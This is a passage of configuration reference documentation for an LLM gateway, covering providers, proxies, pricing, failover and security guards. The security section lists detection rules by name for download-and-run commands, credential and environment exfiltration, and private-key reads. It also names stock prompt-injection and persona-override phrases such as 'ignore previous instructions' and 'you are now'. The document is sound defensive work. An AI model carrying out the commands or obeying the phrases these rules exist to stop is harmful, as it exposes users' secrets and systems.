Coding Plan, relays restricted to official clients). Not available for `chatgpt`. | +| `proxy` | string | `direct` | `direct`; `system`, the proxy in the core process's `HTTPS_PROXY`, `HTTP_PROXY` or `ALL_PROXY` environment variables; or the name of an entry in `proxies`. | +| `on_proxy_fail` | `fail` \| `direct` | `fail` | When the proxy cannot be reached: `fail` the request, or go `direct`. | +| `models` | list of strings | `[]` | Models added by hand, by exact id, for those the upstream serves but leaves out of its list. They count as offered together with the models the upstream lists, or are the whole list when it lists none: they appear in `/v1/models` and requests for them are routed here. `models_only` still applies. No wildcards, no duplicates, at most 256 characters each. | +| `models_only` | list of strings | — | Use only these of the upstream's models, as ids or globs. Others are not listed and are not routed here. Unset: all of them. Empty is refused; use `disabled`. | +| `billing` | `per-token` \| `free` | `per-token` | `per-token`: cost is usage times the price in the upstream's price sheet, subscription accounts included. `free`: cost is recorded as 0. | +| `pricing` | string | — | Name of a price sheet under `pricing.sheets`. Unset: the default price table. | +| `model_specs` | map of model id → [`providers[].model_specs.*`](#cfg-providers-model_specs) | `{}` | Context window, output limit, reasoning and image input of single models of this upstream, written by hand, by exact model id. They take precedence over the price table: for models it does not know, or gets wrong. | +| `max_concurrent` | integer | — | Most requests sent to this upstream at the same time, from 1 to 1000. When it is full, a conversation that stays on it waits for a free slot and other requests go to the next upstream; see `failover.slot_wait_secs`. Unset: no limit. | +| `disabled` | bool | `false` | Take the upstream out of routing and out of the model list, and keep its configuration. | +| `balance` | `auto` \| `off` \| `openrouter` \| `deepseek` \| `moonshot` \| `sub2api` \| `newapi` \| `thinkwatch` | `auto` | Where the upstream's balance is read from, with its own key and proxy: `openrouter`, `deepseek`, `moonshot`, `sub2api`, `newapi` (New API and One API) or `thinkwatch` (a ThinkWatch Enterprise gateway). `auto`: recognized from `base_url` for OpenRouter, DeepSeek and Moonshot; any other address, except Anthropic's, OpenAI's and Gemini's own, is asked once whether it is a Sub2API, ThinkWatch Enterprise or New API relay, and the answer is kept in memory only. `off`: no balance. ChatGPT and Z.ai accounts and Bedrock have no balance whatever is written here. | +| `signed_in` | `zai` \| `bigmodel` | — | Which account sign-in the `key` came from: `zai` (Z.ai) or `bigmodel` (BigModel). Signing in to the account in the desktop app writes it; replacing the key there removes it. It does not change how requests are sent. Unset: the key was written by hand. | + + +A credential is one of four things: `key`, which goes in the header the +protocol expects; `oauth`, a token obtained from a refresh token; `aws`, the +access keys a Bedrock upstream signs its requests with; or `headers`, when the +upstream wants something of its own. `headers` can be combined with the +others, except for the header that already carries the credential. + +```yaml +providers: + - name: anthropic + base_url: https://api.anthropic.com + key: ${ANTHROPIC_API_KEY} + + - name: relay + base_url: https://relay.example.com/v1 + protocol: openai-chat + headers: + X-Relay-Token: ${RELAY_TOKEN} + proxy: office + models_only: [gpt-4.1*, o3] + pricing: relay-discount + max_concurrent: 4 + + - name: local + base_url: http://127.0.0.1:11434/v1 + protocol: openai-chat + billing: free +``` + +An upstream's models are the ones it lists on `/v1/models` (for Bedrock, the +region's model list) and the ones written in `models`. Upstreams often leave +models out of their list: a relay lists only some of what it serves, an +account backend hides new models from older clients. A model added in `models` +is listed in `/v1/models`, can be named by an alias, pinned in a rule and +allowed for a key, and is routed to this upstream like a listed one; +`models_only` applies to both. An upstream that lists nothing has exactly the +models in `models`; one with neither lists no model and is still sent requests +for any model. + +A request carries the request itself and the headers its upstream needs, +and nothing else from the client: the credential and the headers written in +`headers`; ThinkWatch's own `User-Agent`; and, from the client's request, only +the headers the upstream's protocol uses (`anthropic-*` for Anthropic, +`Idempotency-Key` and `X-Client-Request-Id` for OpenAI, none for Gemini). +Identity fields that clients fill in themselves, such as Claude Code's +`metadata.user_id`, are removed from the body. For an upstream that admits only +certain clients, turn on `forward_client_identity`. + +A request converted to Anthropic, or to Claude on Bedrock, marks where the +upstream may cache the prompt when the client marked nothing itself. Clients +in OpenAI or Gemini formats such as Codex cannot mark anything: those +providers cache a repeated prompt on their own, while Anthropic caches only +what is marked. The marks go at the end of the tools, at the end of the +system prompt and at the end of the last two user turns, at most four, each +kept for the default five minutes. The earlier of the two user marks is where +the previous request ended, so each turn reads back what the turn before +wrote and pays the cache price for it instead of the full input price. Cache +writes and reads are charged at the price table's cache prices. A request +that carries its own marks, as Claude Code's do, keeps exactly those, and a +request sent on in the upstream's own format is not changed. + +On Bedrock, marks are added only for the Claude models AWS lists as +supporting prompt caching: Claude 3.7 Sonnet, Claude 3.5 Sonnet v2, and every +Claude from version 4.5 on, including newer ones not yet listed. Older models, +such as Claude 3 Haiku, Sonnet 4 and Opus 4.1, get none. An upstream that +refuses the marks is sent the request once more without them, and that +upstream is not sent marks for that model again until the core restarts. + +A ChatGPT account upstream (`protocol: chatgpt`) takes only the credential +the desktop app obtains by signing in; it cannot be written by hand. Claude +and Google subscription sign-ins are not supported; use an API key. + +Some relays and accounts accept only a few requests at a time and refuse the +rest. `max_concurrent` keeps the gateway within that number: a request takes a +slot on the upstream when it is sent, and gives it back when the answer has +been passed on in full or the client has gone. When the upstream is full, a +conversation that stays on it to reuse its prompt cache waits for a slot; +any other request goes straight to the next upstream. How long a request +waits is `failover.slot_wait_secs`. Waiting is not a failure: the upstream is +not set aside. Requests that only count tokens do not take a slot. On a +Responses WebSocket connection, each `response.create` takes a slot from when +it is sent until its answer ends, and so does a key's `max_concurrent`; an +idle connection takes none. + +#### `providers[].oauth` + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `access` | string | — | Current access token. Written back by the gateway after every refresh; unset means one is obtained on first use. | +| `expires_at` | string | — | When `access` expires, RFC 3339 in UTC. Written back with it. Unset: used until the upstream answers 401. | +| `refresh` | string | **required** | Refresh token. When the token endpoint issues a new one, the old one stops working, so the gateway writes the new one back into this file. | +| `endpoint` | string | **required** | Token endpoint URL. | +| `client_id` | string | — | OAuth client id, if the endpoint wants one. | +| `client_secret` | string | — | OAuth client secret, if the endpoint wants one. | +| `refresh_before` | duration (`30s`, `5m`, `1h`) | — | How long before expiry to refresh. Unset or unreadable: `5m`. | + + +The access token goes in the protocol's authorization header. To put it +somewhere else, write the header in `headers` with `{{access_token}}` where +the token goes: + +```yaml + oauth: + refresh: ${VENDOR_REFRESH_TOKEN} + endpoint: https://auth.example.com/oauth/token + client_id: my-client + headers: + X-Access: Token {{access_token}} +``` + +#### `providers[].aws` + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `access_key_id` | string, `${VAR}` allowed | — | Access key ID. Written together with `secret_access_key`; `profile` instead. | +| `secret_access_key` | string, `${VAR}` allowed | — | Secret access key. | +| `session_token` | string, `${VAR}` allowed | — | Session token of temporary credentials, such as those STS issues. When it expires, requests are refused until it is replaced. | +| `profile` | string | — | Profile in the AWS credential files to read the access keys from, instead of writing them here: `~/.aws/credentials` and `~/.aws/config`, or the files `AWS_SHARED_CREDENTIALS_FILE` and `AWS_CONFIG_FILE` name, on the machine core runs on. The files are read again when they change. | +| `region` | string | — | Region to sign for. Unset: the one in `base_url`, which must then be a standard runtime endpoint. Required when `base_url` is a VPC endpoint or a proxy. | + + +A Bedrock upstream authenticates in one of two ways. A Bedrock API key goes in +`key` and is sent as `Authorization: Bearer`. AWS access keys go in `aws`, +written there or read with `aws.profile` from a profile in the AWS credential +files: every request is signed with them (SigV4) once its body is final, and the +keys themselves are never sent. Keys written in the configuration can be read +from the environment with `${VAR}`. A profile is read from the files on the +machine core runs on, and read again when they change, so a tool that refreshes +temporary keys in `~/.aws/credentials` needs no restart. Nothing runs a command +to obtain a credential, so a profile that signs in through IAM Identity Center +(`aws sso login`), runs a `credential_process` or assumes a role cannot be used; +export the keys it produces instead. + +```yaml +providers: + - name: bedrock + base_url: https://bedrock-runtime.us-east-1.amazonaws.com + key: ${AWS_BEARER_TOKEN_BEDROCK} + + - name: bedrock-keys + base_url: https://bedrock-runtime.eu-west-1.amazonaws.com + aws: + access_key_id: ${AWS_ACCESS_KEY_ID} + secret_access_key: ${AWS_SECRET_ACCESS_KEY} + session_token: ${AWS_SESSION_TOKEN} + + - name: bedrock-profile + base_url: https://bedrock-runtime.us-west-2.amazonaws.com + aws: + profile: dev +``` + +Requests are converted to Converse. The model list comes from the region's +control plane: the foundation models that can be invoked on demand, the +inference profiles AWS defines (`us.anthropic.claude-…`), and the account's +application inference profiles, listed by the ARN they are invoked by. Listing +needs `bedrock:ListFoundationModels` and `bedrock:ListInferenceProfiles`; +without them requests are still forwarded, and `models` can list the models by +hand. For a VPC endpoint or a proxy, write its address in `base_url` and the +region in `aws.region`; the model list is asked of that address too. + +#### `providers[].model_specs` + +A model's context window and output limit come from the price table. A relay's +own models are often missing from it, and now and then it is wrong. Write the +numbers here, for this upstream and by the exact id in its model list. A value +written here takes precedence over the price table; one left out still comes +from it. At least one of the two is written, and neither can be 0. + +The same numbers are used everywhere: in `/v1/models` for every client format, +for an alias this upstream serves, when the gateway judges whether a +conversation still fits the model it is on, and as the output limit of a +request converted to Anthropic that does not set one. When several upstreams +offer the same model, `/v1/models` describes it by the first of them in +`providers`. + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `context_window` | integer | — | Context window: the most tokens a request can take in. Unset: the price table's. | +| `max_output_tokens` | integer | — | The most tokens an answer can have. Unset: the price table's. | +| `reasoning` | bool | — | Whether the model reasons. The model list (`GET /v1/models`) carries it, so clients offer reasoning levels for it. Unset: the price table's; the list leaves it out when the price table does not say. | +| `image_input` | bool | — | Whether the model takes images as input. The model list carries it, as `input_modalities`. Unset: the price table's; the list leaves it out when the price table does not say. | + + +```yaml +providers: + - name: relay + base_url: https://relay.example.com/v1 + protocol: openai-chat + model_specs: + glm-5-air: { context_window: 128000, max_output_tokens: 16384 } + claude-sonnet-4-5: { context_window: 1000000 } +``` + +### `proxies` + +Outbound proxies. Different upstreams often need different ones, so there +is no global switch: an upstream picks one with `proxy`. + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `name` | string | **required** | Name used in `providers[].proxy`. `direct` and `system` are built in. | +| `type` | `socks5` \| `socks5h` \| `http` \| `https` | `socks5h` | `socks5h` sends the host name to the proxy to resolve; `socks5` resolves it locally first. `http` and `https` are HTTP proxies. | +| `addr` | string | **required** | `host:port` of the proxy. | +| `auth` | object, [`proxies[].auth`](#cfg-proxies-auth) | — | User name and password, if the proxy wants them. | + + +#### `proxies[].auth` + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `user` | string | **required** | User name. | +| `pass` | string, `${VAR}` allowed | **required** | Password. | + + +```yaml +proxies: + - name: office + type: http + addr: proxy.example.com:3128 + auth: + user: alice + pass: ${PROXY_PASSWORD} +``` + +`on_proxy_fail: fail` is the default because falling back silently sends a +request by a path you did not intend; you would believe you were on the +proxy while you were not. + +### `pricing` + +The cost of a request is its usage times the price of the model. Prices +come from the default price table (LiteLLM's public dataset, a copy of +which is built into the binary and refreshed daily) or from a price sheet +an upstream picks. A change of price applies to requests from then on, +never to ones already recorded. + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `auto_update` | bool | `true` | Refresh the default price table from the network once a day. It is saved as `model_prices.json` beside `config.yaml`; the table built into the binary is used until then and when offline. | +| `sheets` | list of [`pricing.sheets[]`](#cfg-pricing-sheets) | `[]` | Price sheets of your own. An upstream uses one with `providers[].pricing`. | + + +#### `pricing.sheets` + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `name` | string | **required** | Name of the sheet; unique. | +| `multiplier` | number | `1` | Applied to every price of the default table, cache and long-context prices included. | +| `models` | map of model id → [`pricing.sheets[].models.*`](#cfg-pricing-sheets-models) | `{}` | Prices for single models. They replace the default table's price for that model and are not multiplied. | + + +#### `pricing.sheets[].models` + +Prices are in US dollars per million tokens, as printed on vendors' price +pages. Every field is written out; nothing is inferred when pricing. + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `input` | number | **required** | US dollars per million input tokens. | +| `output` | number | **required** | US dollars per million output tokens. | +| `cache_read` | number | **required** | US dollars per million tokens read from the prompt cache. | +| `cache_write_5m` | number | **required** | US dollars per million tokens written to a 5-minute cache. | +| `cache_write_1h` | number | **required** | US dollars per million tokens written to a 1-hour cache. | +| `input_above_200k` | number | — | Input price once a request's input, cache reads and writes included, exceeds 200K tokens. Written together with `output_above_200k`, or neither. Cache prices stay the ones above. | +| `output_above_200k` | number | — | Output price once a request's input, cache reads and writes included, exceeds 200K tokens. | + + +```yaml +pricing: + sheets: + - name: relay-discount + multiplier: 0.8 + models: + claude-sonnet-4-5-thinking: + input: 3 + output: 15 + cache_read: 0.3 + cache_write_5m: 3.75 + cache_write_1h: 6 +``` + +### `client_probes` + +Some requests clients send are not the user's: connectivity checks, +warm-ups, session titles, topic detection, suggestions. Each class is either +answered locally (`intercept`, nothing is sent upstream) or forwarded +(`forward`). Forwarded ones go through the routing rules like any other +request and carry their class, so a rule can catch them with `when.intent`. +The defaults intercept only what nobody would miss. + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `health_check` | `intercept` \| `forward` | `intercept` | Connectivity checks (`max_tokens: 1`). Answered locally by default: nothing is lost. | +| `warmup` | `intercept` \| `forward` | `intercept` | Warm-up requests. Answered locally by default. | +| `titling` | `intercept` \| `forward` | `forward` | Requests that name a session. Forwarded by default: intercepting them gives every session the same title. | +| `topic_detect` | `intercept` \| `forward` | `forward` | Topic detection. Forwarded by default. | +| `suggestion` | `intercept` \| `forward` | `forward` | Suggestions. Forwarded by default. | + + +### `security` + +Three guards, applied to every upstream alike. Each has a `mode`: `off`, +`observe` (detect and record, change nothing) or `enforce` (act). All three +start in `observe`. What `enforce` does differs per guard: redaction replaces, +tool-call inspection cuts the response off, and the content filter does what +each rule says (refuse, delete or record). + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `redact` | object, [`security.redact`](#cfg-security-redact) | — | Outbound redaction: credentials and personal information anywhere in a request are replaced before it leaves. | +| `inspect_tools` | object, [`security.inspect_tools`](#cfg-security-inspect_tools) | — | Tool-call inspection: dangerous commands in the tool calls a model returns cut the response off. | +| `content` | object, [`security.content`](#cfg-security-content) | — | Content filter: words, patterns or characters (hidden ones among them) in what the caller sends; each rule refuses the request, deletes what it matched, or only records it. | + + +#### `security.redact` + +Before a request leaves, the whole request (system prompt, earlier answers +and tool calls included) is searched for credentials and personal +information. Under `enforce` what is found is replaced with placeholders, and +put back where the answer repeats them. Images, files and other base64 +payloads are not searched. + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `mode` | `off` \| `observe` \| `enforce` | `observe` | `off` does nothing; `observe` detects and records only, and changes nothing; `enforce` detects and acts. | +| `enable` | list of strings | `[]` | Built-in rules to switch on that are off out of the box, by id. | +| `disable` | list of strings | `[]` | Built-in rules to switch off, by id. | +| `custom` | list of [`security.redact.custom[]`](#cfg-security-redact-custom) | `[]` | Rules of your own: whatever a pattern matches is replaced like a credential. | + + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `name` | string | **required** | Name shown in logs and in the app; it identifies the rule and has to be unique within this guard. | +| `pattern` | string | **required** | Regular expression. | +| `label` | string | `SECRET` | Placeholder name: what the pattern matches is replaced with `<>`, numbered per name. Capital letters, digits and underscores, starting with a letter, at most 24 characters. | +| `disabled` | bool | `false` | Switches the rule off and keeps it in the file. | + + +Built-in rules: + + +| id | Name | Out of the box | +|---|---|---| +| `anthropic-api-key` | Anthropic API key | on | +| `openai-project-key` | OpenAI project key | on | +| `openai-api-key` | OpenAI API key | on | +| `github-personal-token` | GitHub personal access token | on | +| `github-oauth-token` | GitHub OAuth token | on | +| `github-server-token` | GitHub server token | on | +| `github-user-token` | GitHub user token | on | +| `github-fine-grained-token` | GitHub fine-grained token | on | +| `slack-bot-token` | Slack bot token | on | +| `slack-user-token` | Slack user token | on | +| `slack-app-token` | Slack app token | on | +| `aws-access-key-id` | AWS access key ID | on | +| `aws-temporary-key-id` | AWS temporary access key ID | on | +| `google-api-key` | Google API key | on | +| `google-oauth-token` | Google OAuth token | on | +| `gitlab-token` | GitLab token | on | +| `stripe-live-key` | Stripe live key | on | +| `stripe-restricted-key` | Stripe restricted key | on | +| `npm-token` | npm token | on | +| `digitalocean-token` | DigitalOcean token | on | +| `sendgrid-key` | SendGrid key | on | +| `private-key` | Private key | on | +| `jwt` | JWT | on | +| `conn-string-password` | Connection string password | on | +| `cn-resident-id` | Chinese resident ID number | on | +| `bank-card` | Bank card number | on | +| `email` | Email address | off | +| `cn-mobile-phone` | Chinese mainland mobile number | off | +| `internal-ip` | Internal IP address | off | +| `internal-domain` | Internal domain | off | + + +`cn-resident-id`, `bank-card`, `email` and `cn-mobile-phone` look for +personal information rather than credentials. The first two are on out of the +box and match only what checks out by structure: + +- `cn-resident-id`: an 18-character resident ID number of the People's + Republic of China whose first two digits are a province-level code, whose + date of birth is a real date between 1900-01-01 and today, and whose last + character is the right check character (ISO 7064 MOD 11-2). The old + 15-digit numbers are not matched. +- `bank-card`: a card number whose prefix and length belong to UnionPay, + Visa, Mastercard, American Express, JCB, Discover or Diners Club and which + passes the Luhn check, written as one run of digits or in groups of four + separated by single spaces or single hyphens (American Express also 4-6-5, + Diners Club also 4-6-4). The test card numbers published by Stripe, + Braintree and Adyen are not matched. + +`email` and `cn-mobile-phone` are off out of the box: they have no structure +to check, and code and documents are full of things that look like them. + +- `email`: an address whose domain has at least two parts, the last of them + two or more letters. User names in URLs (`https://user@host`) and file + names such as `icon@2x.png` are not matched. +- `cn-mobile-phone`: a Chinese mainland mobile number, 11 digits starting + with `1` and a second digit from `3` to `9`, not part of a longer run of + digits. + +A number that is part of a longer run of letters or digits is not matched, +and neither is one written as a JSON number in the request body (in a tool +call's arguments, for instance), since replacing it would leave the body +invalid JSON. The placeholders of these rules say what was there +(`<>`, `<>`, `<>`, +`<>`), and the security log shows only the last four characters +of a number, and the first character and the domain of an email address. A +custom rule replaces with `<>` unless it names its own +placeholder (`label`). + +#### `security.inspect_tools` + +Tool calls a model returns are checked against the rules. Under `enforce`, +a match with rules set to `cut` stops the response, so the client never +receives a complete call to run. + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `mode` | `off` \| `observe` \| `enforce` | `observe` | `off` does nothing; `observe` detects and records only, and changes nothing; `enforce` detects and acts. | +| `enable` | list of strings | `[]` | Built-in rules to switch on that are off out of the box, by id. | +| `disable` | list of strings | `[]` | Built-in rules to switch off, by id. | +| `actions` | map of built-in rule id → `cut` \| `record` | `{}` | What a built-in rule does under `enforce`, written only where it differs from the factory setting (`rm-rf-root: record`). | +| `custom` | list of [`security.inspect_tools.custom[]`](#cfg-security-inspect_tools-custom) | `[]` | Rules of your own, matched against the arguments of a tool call. | + + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `name` | string | **required** | Name shown in logs and in the app; it identifies the rule and has to be unique within this guard. | +| `pattern` | string | **required** | Regular expression. | +| `action` | `cut` \| `record` | `record` | Under `enforce`: `cut` the response off, or only `record` the match. | +| `disabled` | bool | `false` | Switches the rule off and keeps it in the file. | + + +Built-in rules: + + +| id | Name | Under `enforce`, out of the box | +|---|---|---| +| `curl-pipe-sh` | Download and run | `cut` | +| `base64-decode-exec` | Decode and run | `cut` | +| `exfil-env` | Send out environment variables | `cut` | +| `exfil-credentials` | Send out a credential file | `cut` | +| `exfil-credentials-reversed` | Send out a credential file (verb first) | `cut` | +| `ssh-key-read` | Read a private key or cloud credential | `cut` | +| `secret-to-unknown-host` | Send a credential to an unknown host | `cut` | +| `thinkwatch-data` | Read or change ThinkWatch's own data | `cut` | +| `write-startup-item` | Write a startup item | `cut` | +| `crontab-install` | Install a scheduled job | `cut` | +| `rm-rf-root` | Delete home or root | `record` | +| `chmod-777` | World-writable permissions | `record` | +| `upload-file-to-host` | Upload a local file to an external host | `record` | + + +#### `security.content` + +Words, patterns or characters in what the caller sends: user messages and +the tool results in them, not the system prompt or the model's own turns. +Each rule matches a keyword (`contains`), a regular expression (`regex`) or +code points (`codepoints`), and says what happens under `enforce`: `block` +refuses the request, `strip` deletes every match from the caller's text and +sends the rest, `record` only records it. After deleting, the text is checked +again, so a keyword split by hidden characters is caught once they are gone. + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `mode` | `off` \| `observe` \| `enforce` | `observe` | `off` does nothing; `observe` detects and records only, and changes nothing; `enforce` detects and acts. | +| `enable` | list of strings | `[]` | Built-in rules to switch on that are off out of the box, by id. | +| `disable` | list of strings | `[]` | Built-in rules to switch off, by id. | +| `actions` | map of built-in rule id → `block` \| `strip` \| `record` | `{}` | What a built-in rule does under `enforce`, written only where it differs from the factory setting. | +| `custom` | list of [`security.content.custom[]`](#cfg-security-content-custom) | `[]` | Rules of your own. | + + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `name` | string | **required** | Name shown in logs and in the app; it identifies the rule and has to be unique within this guard. | +| `pattern` | string | **required** | A keyword; a regular expression with `match: regex`; code points with `match: codepoints` (`U+200B, U+E0000–U+E007F`). Keywords and regular expressions are case-insensitive. | +| `match` | `contains` \| `regex` \| `codepoints` | `contains` | `contains`: the text contains `pattern`. `regex`: `pattern` is a regular expression. `codepoints`: the text has a character among the code points or ranges listed in `pattern`, separated by commas. | +| `action` | `block` \| `strip` \| `record` | `record` | Under `enforce`: `block` the request, `strip` what matched and send the rest, or only `record` the match. | +| `disabled` | bool | `false` | Switches the rule off and keeps it in the file. | + + +Built-in rules: + + +| id | Name | Group | Out of the box | Under `enforce`, out of the box | +|---|---|---|---|---| +| `unicode-tags` | Unicode tag characters | invisible | on | `strip` | +| `bidi-controls` | Bidirectional controls | invisible | on | `strip` | +| `zero-width` | Zero-width characters | invisible | off | `strip` | +| `private-use` | Private-use characters | invisible | off | `strip` | +| `ignore-previous-instructions` | Ignore previous instructions | injection | on | `block` | +| `ignore-all-previous` | Ignore all previous | injection | on | `block` | +| `disregard-your-instructions` | Disregard your instructions | injection | on | `block` | +| `jailbreak` | Jailbreak | injection | off | `block` | +| `dan` | DAN | injection | off | `block` | +| `developer-mode` | Developer mode | injection | off | `block` | +| `you-are-now` | Persona manipulation | persona | off | `block` | +| `new-persona` | New persona | persona | off | `record` | +| `act-as` | Act as | persona | off | `record` | +| `pretend-to-be` | Pretend to be | persona | off | `record` | +| `system-prompt` | System prompt extraction | persona | off | `record` | +| `reveal-your-instructions` | Reveal instructions | persona | off | `record` | +| `what-are-your-rules` | What are your rules | persona | off | `record` | +| `base64-wall` | Base64 smuggling | persona | off | `record` | +| `zh-ignore-previous` | Ignore previous instructions (Chinese) | chinese | off | `block` | +| `zh-forget-your` | Forget your instructions (Chinese) | chinese | off | `block` | +| `zh-do-not-follow` | Do not follow (Chinese) | chinese | off | `block` | +| `zh-you-are-now` | You are now (Chinese) | chinese | off | `block` | +| `zh-role-play` | Role-play (Chinese) | chinese | off | `record` | +| `zh-reveal-your` | Reveal your instructions (Chinese) | chinese | off | `record` | +| `zh-system-prompt` | System prompt (Chinese) | chinese | off | `record` | +| `zh-jailbreak` | Jailbreak (Chinese) | chinese | off | `block` | + + +The `invisible` group matches characters people cannot see and models can +read. Unicode tag characters (U+E0000–U+E007F) and bidirectional controls +(U+202A–U+202E, U+2066–U+2069) are on out of the box; zero-width characters +(U+200B–U+200D, U+2060, U+FEFF) and private-use characters (U+E000–U+F8FF, +U+F0000–U+FFFFD, U+100000–U+10FFFD) are off, since emoji, Persian and icon +fonts use them too. All four delete what they match under `enforce`. + +```yaml +security: + redact: + mode: enforce + enable: [internal-ip] + custom: + - name: employee-id + pattern: 'EMP-\d{6}' + label: EMPLOYEE + inspect_tools: + mode: enforce + content: + mode: enforce + enable: [zero-width] + custom: + - name: project-x + pattern: project-x + action: strip +``` + +### `retention` + +Two limits, because the two kinds of data differ in size by three orders +of magnitude: request bodies are tens of kilobytes each, a request's record +a few hundred bytes. The byte limit covers bursts. + +Each request and response body is kept up to 4 MiB; of a longer one, the +beginning is kept. Bodies are written with credentials and personal numbers +already taken out. A request stored under `enforce` carries the placeholders +the upstream received; anything else the redaction rules +([`security.redact`](#cfg-security-redact)) recognize is masked, in every +mode, `off` included. + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `body_days` | integer | `7` | Days to keep request and response bodies. | +| `row_days` | integer | `90` | Days to keep the record of each request (time, model, usage, cost). | +| `body_max_bytes` | integer | `5368709120` | Upper bound on the bytes bodies may take; beyond it the oldest days go first. The default is 5 GiB. | + + +### `failover` + +An upstream that fails is set aside for a while, so that the next requests +go straight to the next candidate. How long depends on the reason the +upstream gives: an insufficient balance waits for a top-up, a used-up quota +waits until the moment the upstream says it resets, and a rate limit usually +passes within seconds. A request with a single candidate is never affected. +On a Responses WebSocket connection, each `response.create` counts here like +a request: one that fails because of the upstream before any content arrives +counts as a failure, and so does a connection the upstream refuses or that +cannot be made. + +Before the first content of a streamed answer reaches the client, an error +the upstream sends in the stream moves the request to the next candidate, +the same as an error status would. + +An upstream can also go quiet: it accepts the request and then sends nothing, +or stops partway through. After `idle_timeout_secs` (300 by default) without +content, the gateway stops waiting for it. The time counts from the moment the +request is sent to that upstream, so waiting for a free slot does not count, +and starts again with every piece of content: text, reasoning and tool calls +count; keep-alives (SSE comments, Anthropic's `ping`, empty chunks, Responses' +`response.in_progress`) do not, so an upstream that only keeps the connection +alive still runs out of time. A whole, non-streamed answer counts from sending +to the complete answer. + +- When no content has reached the client yet, the upstream counts as failed + (towards `failures_to_pause`, like a 5xx), the attempt appears with the + outcome `idle_timeout`, and the request moves to the next candidate. Until + then an upstream's answer is held back from the client, so the next upstream + starts it afresh. With no candidate left, the client gets a timeout error + (504) in its own format. The last candidate's stream is passed on as it + arrives, so once its response has started, a timeout there ends it with an + error event instead. +- A streamed answer is held for at most 15 seconds. If no content has + arrived by then, the client receives `200` and the streaming headers, so + that its own wait for headers does not run out, followed by an SSE comment + (`: keep-alive`) every 15 seconds; Gemini clients get no comments. The + upstream's events stay held until its first content, and failover continues + as before under the same `200`: the next upstream's stream starts cleanly, + and when no candidate is left, the stream ends with an error event in the + client's format instead of a 504. The comments do not count as content. +- When content has already reached the client, the request cannot move on + without repeating it: the answer ends with an error event in the client's + format, and the request is recorded as failed. + +The conversation then no longer stays on that upstream for the rest of its turn. +Models that think for a long time before they write anything need a longer +timeout. + +```yaml +failover: + idle_timeout_secs: 600 +``` + +When upstreams are at their `max_concurrent`, a request waits for a free slot +for at most `slot_wait_secs` in all. The same time also covers waiting for a +key's `minute` or `hour` limit, so a request never waits longer than +`slot_wait_secs` for the two together. An ongoing conversation waits for the +upstream it stays on and, if no slot frees in time, moves on to the next one, +where its cache starts over. A new conversation skips a full upstream at once. +When every candidate is full, the request waits for whichever frees first; if +none does, the client gets a 429 with `Retry-After` saying the upstreams are +busy. If an upstream did receive the request and failed, the client gets that +failure instead. + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `failures_to_pause` | integer | `3` | Consecutive failures without a stated reason (5xx, connection errors) before the upstream is set aside. From 1 to 100. | +| `pause_secs` | integer | `60` | Seconds the first such pause lasts. Each further pause doubles it, up to `max_pause_secs`; one success resets it. | +| `max_pause_secs` | integer | `600` | Upper bound on the doubled pause, in seconds; not less than `pause_secs`. | +| `no_balance_pause_secs` | integer | `1800` | Seconds to set aside an upstream that reports an insufficient balance. | +| `quota_pause_secs` | integer | `3600` | Seconds to set aside an upstream whose quota is used up when it does not say when the quota resets. When it does, the upstream is set aside until then. | +| `rate_limit_max_pause_secs` | integer | `3600` | A rate-limited upstream is set aside for the time its `Retry-After` gives, at most this many seconds. Without `Retry-After` it counts as a failure without a stated reason. | +| `idle_timeout_secs` | integer | `300` | Seconds an upstream may go without sending content before the gateway stops waiting for it. Counted from the moment the request is sent and started again by every piece of content: text, reasoning and tool calls count, keep-alives do not. A whole (non-streamed) answer counts from sending to the complete answer. Before any content has reached the client, the upstream counts as failed and the request moves to the next one; with none left, the client gets a timeout error. After content has reached the client, the answer ends with an error. From 30 to 3600. | +| `slot_wait_secs` | integer | `30` | Seconds a request waits in all, counted once the key's own `max_concurrent` lets it in: for a key's `minute` or `hour` limit to free up, and for a free slot on upstreams at their `max_concurrent`. A key limit that does not free up in time refuses the request; without an upstream slot in time it goes to the next upstream, or, when every candidate is full, is answered with 429. `0`: never wait. From 0 to 300. | + + +### `aliases` + +A model alias is another name for the same model. Clients request it like any +model; each upstream receives the name it uses for that model. + +```yaml +aliases: + deepseek-v4.1: DeepSeek-v4.1-flash + claude-sonnet-5: + - claude-sonnet-5 + - us.anthropic.claude-sonnet-5-v1:0 + - anthropic/claude-sonnet-5 +``` + +- An upstream serves an alias when it offers one of the listed names within + its `models_only`, and receives the first such name in the list. Every + upstream that serves an alias takes part in failover for it. +- `GET /v1/models` lists aliases next to the upstream models, and the + original names stay available. +- An alias takes precedence over an upstream model of the same name: a + request for `claude-sonnet-5` above goes only to upstreams offering one of + the three names. List an upstream's own name when it should keep serving it. +- A key's `allow` and a rule's `when.model` written for an upstream model name + also cover the aliases that list it; written for an alias, they cover only + the alias. +- When the upstream answers with the model it was sent, the answer carries the + name the client asked for. An answer naming a different model is passed on + as it is. +- Prices and the upstream check-up use the name sent upstream. The request log + keeps the name the client asked for, and each attempt the name it sent. +- To send one key's requests to a particular upstream model, use a rule with + pinned models ([`routes[].rules[].to`](#cfg-routes-rules-to)) rather than an + alias: an alias changes what the name means for every client. + +### `groups` + +A group puts several upstreams behind one name. Rules send requests to a +group with `to`. + + + + +| Field | Type | Default | Description | +|---|---|---|---| +| `name` | string | **required** | Name of the group; unique, and not the name of an upstream. | +| `type` | `fallback` \| `select` \| `load-balance` \| `url-test` \| `cheapest` | `fallback` | `fallback`: the first healthy member, in order. `select`: the member named in `selected`. `load-balance`: requests are shared out in proportion to the members' weights; a conversation in progress stays where it is. `url-test`: the fastest by measured time from sending a request to the first content of the answer. `cheapest`: the lowest input price. | +| `providers` | list of strings or 